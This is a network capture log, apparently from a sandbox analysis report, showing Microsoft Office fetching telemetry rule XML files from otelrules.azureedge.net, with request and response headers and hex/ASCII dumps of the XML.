2024-10-30 19:14:18 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c633743c-801e-007b-7ea5-2ae7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191418Z-r197bdfb6b4cxj4bmw6ag8gees000000015g000000006ppg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:19 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 5383d0ca-b01e-0053-2a56-26cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191419Z-17c5cb586f6f8m6jnehy0z65x400000007sg000000009w4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:19 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6c5e14af-601e-0002-6c01-27a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191419Z-17c5cb586f6sqz6f73fsew1zd8000000024g00000000f6fx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:19 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 6d58be1b-301e-0052-189d-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191419Z-17c5cb586f626sn8grcgm1gf800000000700000000005bte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:19 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:19 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191419Z-16849878b78x44pv2mpb0dd37w00000000fg000000009q8y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:20 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191420Z-16849878b78fhxrnedubv5byks00000006wg0000000000vb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:20 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191420Z-16849878b78fkwcjkpn19c5dsn00000007k000000000209f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:20 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:20 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 9a40e34d-b01e-005c-559c-274c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191420Z-16849878b78j7llf5vkyvvcehs00000009k000000000ar1h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:20 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:20 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:20 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191420Z-16849878b78qfbkc5yywmsbg0c000000083g00000000gy67 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:20 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:21 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191421Z-16849878b78zqkvcwgr6h55x9n00000008000000000017c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:21 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:21 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191421Z-16849878b78wc6ln1zsrz6q9w800000008600000000067fh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:21 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 3b873659-401e-0067-0d93-2909c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191421Z-r197bdfb6b4hsj5bywyqk9r2xw0000000a50000000000xdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
